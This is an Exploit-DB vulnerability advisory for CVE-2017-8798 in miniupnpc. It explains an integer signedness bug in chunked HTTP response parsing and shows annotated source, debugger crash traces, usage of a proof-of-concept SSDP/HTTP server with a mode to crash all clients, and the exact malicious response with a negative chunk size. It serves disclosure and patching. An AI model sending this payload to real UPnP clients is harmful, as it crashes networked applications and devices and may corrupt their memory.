MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service

EDB-ID:

43501

Author:

tintinweb

Type:

dos

Platform:

Multiple

Published:

2017-05-11

VuNote
======

    Author:     <github.com/tintinweb>
    Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798
    Version:    0.6
    Date:       May 1st, 2017

    Tag:        miniupnpc getHTTPResponse chunked encoding integer signedness error

Overview
--------

    Name:           miniupnpc
    Vendor:         Thomas Bernard
    References:     * http://miniupnp.free.fr/ [1]

    Version:        v2.0 [2]
    Latest Version: v2.0.20170421 [2][3]
    Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago)
    Platform(s):    cross
    Technology:     c

    Vuln Classes:   CWE-196, CWE-190
    Origin:         remote
    Min. Privs.:    ---

    CVE:            CVE-2017-8798


Description
---------

quote website [1]

>UPnP IGD client lightweight library and UPnP IGD daemon
>The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd.

miniupnp is part of many applications and embedded network devices

* P2P File Sharing software - e.g. qBittorrent
* Network Device Firmware
* Blockchain clients - e.g. EthereumCPP, bitcoind and forked coins


Summary
-------

*TL;DR - one-click crash miniupnpc based applications on your network*

#### Integer signedness error in miniupnpc allows remote attackers to
cause a denial of service condition via specially crafted HTTP response

An integer signedness error was found in miniupnp's `miniwget` allowing
an unauthenticated remote entity typically located on the
local network segment to trigger a heap corruption or an access violation
in miniupnp's http response parser when processing a specially crafted
chunked-encoded response to a request for the xml root description url.

To exploit this vulnerability, an attacker only has to provide a
chunked-encode HTTP response with a negative chunk length to upnp
clients requesting a resource on the attackers webserver. Upnp clients
can easily be instructed to request resources on the attackers webserver
by answering SSDP discovery request or by issueing SSDP service
notifications (low complexity, integral part of the protocol).


* remote, unauthenticated, `ACCESS_VIOLATION_READ` and heap corruption
* (confirmed) DoS; (unconfirmed) could also lead to RCE under certain
circumstances (multi-threaded?)


see attached PoC
see proposed patch

Details
-------

The vulnerable component is a HTTP file download method called
`miniwget` (precisely `getHTTPResponse`) that fails to properly handle
invalid chunked-encoded HTTP responses. The root cause is a bounds check
that mistakenly casts an unsigned attacker-provided chunksize to signed
int leading to an incorrect decision on the destination heap buffer size
when copying data from the server response to an internal buffer. The
attacker controls both the size of the internal buffer as well as the
number of bytes to copy. In order for this attack to succeed, the number
of bytes to copy must be negative.

attacker controls:
* `int content_length`
* `unsigned int chunksize`
* `bytestocopy` if `(int) chunksize` is negative (or at least < `n-i` ~ 1900 bytes)
* length of `content_buf` if `bytestocopy` is negative

In the end, the attacker controls
* `realloc(content_buf, content_length)`
* `memcpy(content_buf+x, http_response, chunksize)`


        client (miniupnpc)                         server (poc.py)
            |                                         |
            |                                         |
            | SSDP:  Discovery - M-SEARCH             |
        1.  | --------------------------------------> |
            |                                         |
            | SSDP:  Reply - Location Header          |
        2.  | <-------------------------------------- |
            |                                         |
            | SCPD:  GET (Location Header/xxxx.xml)   |
        3.  | --------------------------------------> |
            |                                         |
            | SCPD:  HTTP chunked-encoded reply       |
        4.  | <-------------------------------------- |
            |                                         |

1. application performs SSDP discovery via M-SEARCH (multicast, local network segment)
2. poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver.
3. application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py)
4. poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp

#### Source

`miniwget.c:236` [4]

*Note:* Inline annotations are prefixed with //#!

* A) 1. to 3. is the parsing of the chunksize
* B) 4. to 5. integer signedness error
* C) 6. integer wrapping
* D) 7. to 9. destination buffer size
* E) 10. heap overwrite with size in bytestocopy


```c
/* content */
if(chunked)                                         //#! 1) transfer-encoding: chunked
{
    int i = 0;
    while(i < n)
    {
        if(chunksize == 0)
        {
            /* reading chunk size */
            if(chunksize_buf_index == 0) {
                /* skipping any leading CR LF */
                if(i<n && buf[i] == '\r') i++;
                if(i<n && buf[i] == '\n') i++;
            }
            while(i<n && isxdigit(buf[i])                               //#! 2) copy hexchars to chunksize_buf
                 && chunksize_buf_index < (sizeof(chunksize_buf)-1))
            {
                chunksize_buf[chunksize_buf_index++] = buf[i];
                chunksize_buf[chunksize_buf_index] = '\0';
                i++;
            }
            while(i<n && buf[i] != '\r' && buf[i] != '\n')
                i++; /* discarding chunk-extension */
            if(i<n && buf[i] == '\r') i++;
            if(i<n && buf[i] == '\n') {
                unsigned int j;
                for(j = 0; j < chunksize_buf_index; j++) {              //#! 3) hexint chunksize = atoi(chunksize_buf)
                if(chunksize_buf[j] >= '0'
                   && chunksize_buf[j] <= '9')
                    chunksize = (chunksize << 4) + (chunksize_buf[j] - '0');
                else
                    chunksize = (chunksize << 4) + ((chunksize_buf[j] | 32) - 'a' + 10);
                }
                chunksize_buf[0] = '\0';
                chunksize_buf_index = 0;
                i++;
            } else {
                /* not finished to get chunksize */
                continue;
            }
#ifdef DEBUG
            printf("chunksize = %u (%x)\n", chunksize, chunksize);
#endif
            if(chunksize == 0)
            {
#ifdef DEBUG
                printf("end of HTTP content - %d %d\n", i, n);
                /*printf("'%.*s'\n", n-i, buf+i);*/
#endif
                goto end_of_stream;
            }
        }
        //#! 4)
        //#!   goal: a) bytestocopy becomes negative due to chunksize being negative
        //#!         b) content_length defines destination buffer size
        //#!         c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request
        //#!            memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy)
        //#!
        bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);   //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1)
        if((content_buf_used + bytestocopy) > content_buf_len)                      //#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used
        {
            char * tmp;
            if(content_length >= (int)(content_buf_used + bytestocopy)) {           //#! 7) content_length is attacker controlled.
                content_buf_len = content_length;                                   //#! 8) we want content_length to define our dst buffer size (e.g. 9000)
            } else {                                                                 //#!   if we dont hit this, content_buf_len would likely be ~2k
                content_buf_len = content_buf_used + bytestocopy;
            }
            tmp = realloc(content_buf, content_buf_len);                            //#! 9) realloc to content_length bytes (e.g. 9000)
            if(tmp == NULL) {
                /* memory allocation error */
                free(content_buf);
                free(header_buf);
                *size = -1;
                return NULL;
            }
            content_buf = tmp;
        }
        memcpy(content_buf + content_buf_used, buf + i, bytestocopy);               //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer
        content_buf_used += bytestocopy;                                            //#!     (also an out of bounds ready since it has not been checked if buf holds enough bytes)
        i += bytestocopy;
        chunksize -= bytestocopy;
    }
}
```

#### Taint Graph

    basically all `miniwget*` and `UPNP_*` methods.

    * getHTTPResponse (vulnerable)
     * miniwget3
      * miniwget2
       * miniwget
       * miniwget_getaddr
        * UPNP_GetIGDFromUrl
        * UPNP_GetValidIGD
         * UPnP_selectigd
     * UPNP_Get*
     * UPNP_Check*
     * UPNP_Delete*
     * UPNP_Update*
     * UPNP_Add*


#### Scenarios

The PoC can be configured for three scenarios:

##### 1) SCENARIO_CRASH_LARGE_MEMCPY

Similar to 3) attempts to smash the heap but likely fails with an
`ACCESS_VIOLATION_READ` when trying to read from an non-accessible
memory region.

    (gdb) up
    #1  0x000000000040862c in getHTTPResponse (s=s@entry=3, size=size@entry=0x7fffffffd77c,
        status_code=status_code@entry=0x0) at miniwget.c:305
    305                                             memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
    (gdb) i lo
    i = 30
    buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 2018 times>
    n = 1954
    endofheaders = 94
    chunked = 1
    content_length = 9041
    chunksize = 2147483648
    bytestocopy = 2147483648                     //#! <--- nr of bytes to copy from buf
    header_buf = 0x60f010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
    header_buf_len = 2048
    header_buf_used = <optimized out>
    content_buf = 0x60f820 "<xml>BOOM</xml>", 'A' <repeats 16 times>
    content_buf_len = 9041                       //#! <--- dst buffer size
    content_buf_used = 15
    chunksize_buf = "\000\060\060\060\060\060\060\060\000\313\377\377\377\177\000\000\200\277@\000\000\000\000\000\233\277@\000\000\000\000"
    chunksize_buf_index = 0
    reason_phrase = 0x0
    reason_phrase_len = 0

##### 2) SCENARIO_CRASH_REALLOC_NULLPTR

Miniupnp v1.8 was missing an error check for `realloc` which can
be used to cause a DoS condition when making `realloc` fail while
allocating a large chunk of data. When `realloc` fails - because
the requested size of memory cannot be allocated - it returns a
`nullptr`. Miniupnp ~1.8 was missing a check for the `nullptr`
and tried to `memcpy` bytes from the attackers http response to
that `nullptr` which fails with an `ACCESS_VIOLATION`.

To achieve this scenario one must provide an arbitrarily large
`content_length` (e.g. `0x7fffffff` likely fails on 32 bits) and
make `memcpy` attempt to copy a byte to that location.


##### 3) SCENARIO_CRASH_1_BYTE_BUFFER

The idea is to create a small heap buffer and overwrite it with
a large chunk of data. This can be achieved by making instructing
miniupnp to `realloc` `content_buf` to a size of `1 byte` by
providing a `content-length` of `1`. To overwrite this 1 byte
buffer the attacker provides a negative chunksize e.g.
`0x80000000`. Depending on the implementation of `memcpy` and
the memory layout `memcpy` will either fail with a
`ACCESS_VIOLATION_READ` as we're only providing <= 2048 bytes
with the server response and will most certainly hit a non-accessible
memory region while copying `0x80000000` bytes or the application
crashes because of a heap corruption.

Discussion: It could maybe possible for an upnp thread to corrupt
the heap, overwriting structures used by another thread to cause
code execution even before the application crashes when accessing
a non-accesible memory region.


Here's an example of `miniupnpc` corrupting the heap when compiled
for 32 bit platforms.


     ⺠0x80504de <getHTTPResponse+1912>    call   memcpy@plt                    <0x8048a20>
            dest: 0x805981f ââ 0x0                    //#! <--- size 1 - attacker controlled content_buf
            src: 0xffffb77e ââ 0x41414141 ('AAAA')    //#! <--- attacker controlled http response
            n: 0x80000000                             //#! <--- attacker controlled (must be negative) bytestocopy

    pwndbg> i lo
    i = 30
    buf = "f\r\n<xml>BOOM</x"...
    n = <optimized out>
    endofheaders = 91
    chunked = 1
    content_length = 1
    chunksize = 2147483648
    bytestocopy = 2147483648                          //#! <--- nr of bytes to copy from buf
    header_buf = 0x8059008 "HTTP/1.1 200 OK"...
    header_buf_len = 2048
    header_buf_used = <optimized out>
    content_buf = 0x8059810 "<xml>BOOM</x\351\a\002"
    content_buf_len = 1                               //#! <--- destination, realloc'd to 1
    content_buf_used = 15
    chunksize_buf = "\000\060\060\060\060\060\060\060\000\267\377\377p12"...
    chunksize_buf_index = <optimized out>
    reason_phrase = 0x0
    reason_phrase_len = 0

    //#! ### before memcpy
    pwndbg> hexdump content_buf 100
    +0000 0x8059810  3c 78 6d 6c  3e 42 4f 4f  4d 3c 2f 78  e9 07 02 00  â<xmlâ>BOOâM</xâ....â
    +0010 0x8059820  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  â....â....â....â....â
    ...
    +0060 0x8059870  00 00 00 00                                         â....â    â    â    â
    +0064 0x8059874

    //#! ### after memcpy
    pwndbg> hexdump content_buf 100
    +0000 0x8059810  3c 78 6d 6c  3e 42 4f 4f  4d 3c 2f 78  e9 07 02 41  â<xmlâ>BOOâM</xâ...Aâ
    +0010 0x8059820  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  âAAAAâAAAAâAAAAâAAAAâ
    ...
    +0060 0x8059870  41 41 41 41                                         âAAAAâ    â    â    â
    +0064 0x8059874


#### Impact analysis:

* DoS - providing an overly large `content_length` may cause `realloc`
to fail and return a `nullptr`. subsequently crashing due to `memcpy`
trying to copy to `nullptr`. Has been `fixed > v1.8`.
* DoS / potential RCE - providing a correct `content_length` wont cause
`realloc` to fail and `memcpy` will go on copying a large block of data
to `content_buf`. Potential for RCE in multithreaded environments with
threads sharing the heap e.g. main thread doing things while upnp thread
overwrites large portions of the heap. may result in random crashes but
might allow to corrupt neighboring heap chunks in a way to gain code
exec.
* DoS - providing `0x7fffffff` to content_length may fail due to `realloc`
not being able to allocate >2 GB heap space on certain platforms. If
that would succeed, an attacker could try to write `1+x` bytes past the
reallocation when providing a chunksize of `0x80000000+x`. However, the
attacker is not able to provide http response chunks >2048 bytes due to
miniupnp reading responses in chunks of max 2048 therefore rendering a
RCE scenario impossible turning it into a DoS condition with due to
`ACCESS_VIOLATION_READ`.


Proof of Concept
----------------

Prerequisites:

* any software that compiles with `miniupnpc` or calls
`miniwget.c::miniwget()` - e.g. bitcoind (with -upnp)
* `poc.py`, python 2.7, tested on windows and linux
(disable firewall or allow inbound tcp:65000, udp:1900)

Usage:

```c
usage: poc.py [options]

           example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]



optional arguments:
  -h, --help            show this help message and exit
  -q, --quiet           be quiet [default: False]
  -l LISTEN, --listen LISTEN
                        local httpserver listen ip:port. Note: 0.0.0.0:<port>
                        is not allowed. This ip is being used in the SSDP
                        response Location header.
  -u USN, --usn USN     Unique Service Name.
  -t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]]
                        Specify a list of client-ips to attack. Use --havoc to
                        attempt to crash all clients.
  -z, --havoc           Attempt to attack all clients connecting to our http
                        server. Use at your own risk.
```

run PoC

* local listen ip:port for the malicious web server: 192.168.2.104:65000 (your ip)
* only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist)

```python
#> poc.py --listen <your_local_ip>:65000 --target 192.168.2.113

[poc.py -                 main() ][    INFO]


   _  _    _____ _____ _____ _____
  / |/ |  |  |  |  _  |   | |  _  |            ___ ___    _____ ___ ___ ___
 / // /   |  |  |   __| | | |   __|   _ _ _   |   | . |  |     | . |  _| -_|
|_/|_/    |_____|__|  |_|___|__|     |_|_|_|  |_|_|___|  |_|_|_|___|_| |___

                                                      //github.com/tintinweb


    [mode  ]        filter (targeting ['192.168.2.113'])
    [listen]        192.168.2.104:65000 (local http server listening ip)
    [usn   ]        uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice

[poc.py -                 main() ][   DEBUG] spawning webserver: <BadHttpServer bind=('192.168.2.104', 65000)>
[poc.py -             __init__() ][   DEBUG] [SSDP] bind: 0.0.0.0:1900
[poc.py -               listen() ][    INFO] [HTTP] bind 192.168.2.104:65000
[poc.py -             __init__() ][   DEBUG] [SSDP] add membership: UDP/239.255.255.250
[poc.py -    register_callback() ][   DEBUG] [SSDP] add callback for 'M-SEARCH' : <function handle_msearch at 0x027B9270>
[poc.py -               listen() ][    INFO] [HTTP] waiting for connection
[poc.py -    register_callback() ][   DEBUG] [SSDP] add callback for 'NOTIFY' : <function handle_notify at 0x027B9330>
[poc.py -               listen() ][   DEBUG] [SSDP] listening...
[poc.py -               listen() ][    INFO] [      ] connection from: ('192.168.2.113', 43810)
[poc.py -               listen() ][   DEBUG] GET /xxxx.xml HTTP/1.1
Host: 192.168.2.104:65000
Connection: Close
User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0


[poc.py -                 send() ][   DEBUG] HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Length: 9041
Content-Type: text/html

f
<xml>BOOM</xml>
80000000
AAAAAAAAAAAAAAAA...         //#! Repeated 9k times.
3
bye
0
[poc.py -                 send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] <HttpLikeMessage msg=('HTTP/1.1', '200', 'OK') header={'Transfer-Encoding': 'chunked', 'Content-Length': 9041, 'Content-Type': 'text/html'} body='f\r\n<xml>BOOM</xml>\r\n80000000\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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[poc.py -               listen() ][    INFO] waiting for connection
```


#### A) miniupnpc v2.0

```python
[tin@localhost miniupnpc]$ gdb --args ./upnpc-static  -u http://192.168.2.104:65000/xxxx.xml -d -s
...
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s
upnpc : miniupnpc library test client, version 2.0.
 (c) 2005-2016 Thomas Bernard.
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0
address miniwget : 192.168.2.113
header='Transfer-Encoding', value='chunked'
chunked transfer-encoding!
header='Content-Length', value='9041'                //#!  user provided content length (valid)
Content-Length: 9041
header='Content-Type', value='text/html'
chunksize = 15 (f)
chunksize = 2147483648 (80000000)                    //#!  user provided chunk size 0x80000000

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb) up
#1  0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
306          memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
(gdb) bt
#0  0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1  0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
#2  0x0000000000408d5c in miniwget3 (host=host@entry=0x7fffffffd500 "192.168.2.104", port=<optimized out>, path=0x7fffffffe73c "/xxxx.xml", size=size@entry=0x7fffffffd59c,
    addr_str=addr_str@entry=0x7fffffffe320 "192.168.2.113", addr_str_len=addr_str_len@entry=64, httpversion=httpversion@entry=0x40b665 "1.1", scope_id=0, status_code=status_code@entry=0x0)
    at miniwget.c:468
#3  0x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=<optimized out>, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=<optimized out>, port=<optimized out>,
    host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484
#4  miniwget_getaddr (url=url@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", size=size@entry=0x7fffffffd59c, addr=addr@entry=0x7fffffffe320 "192.168.2.113", addrlen=addrlen@entry=64,
    scope_id=scope_id@entry=0, status_code=status_code@entry=0x0) at miniwget.c:659
#5  0x00000000004043f1 in UPNP_GetIGDFromUrl (rootdescurl=rootdescurl@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", urls=urls@entry=0x7fffffffd6a0, data=data@entry=0x7fffffffd790,
    lanaddr=lanaddr@entry=0x7fffffffe320 "192.168.2.113", lanaddrlen=lanaddrlen@entry=64) at miniupnpc.c:708
#6  0x0000000000401f69 in main (argc=<optimized out>, argv=0x7fffffffe478) at upnpc.c:690
(gdb) i lo
i = 30
buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 1418 times>...
n = 1354
endofheaders = 94
chunked = 1                      //#!  chunked-encoding mode
content_length = 9041            //#!  user provided content-length (valid)
chunksize = 2147483648           //#!  user provided chunk-size (invalid, 0x80000000)
bytestocopy = 2147483648         //#!  is our chunk-size. used in call to memcpy as the number of bytes to copy.
header_buf = 0x610010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
header_buf_len = 2048
header_buf_used = 1448
content_buf = 0x610820 "<xml>BOOM</xml>"
content_buf_len = 9041           //#!  has been reallocated to content-length (otherwise this would be ~2k)
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\311\377\377\377\177\000\000\313\305@\000\000\000\000\000\005\000\000\000\000\000\000"
chunksize_buf_index = 0
reason_phrase = 0x0
reason_phrase_len = 0
```


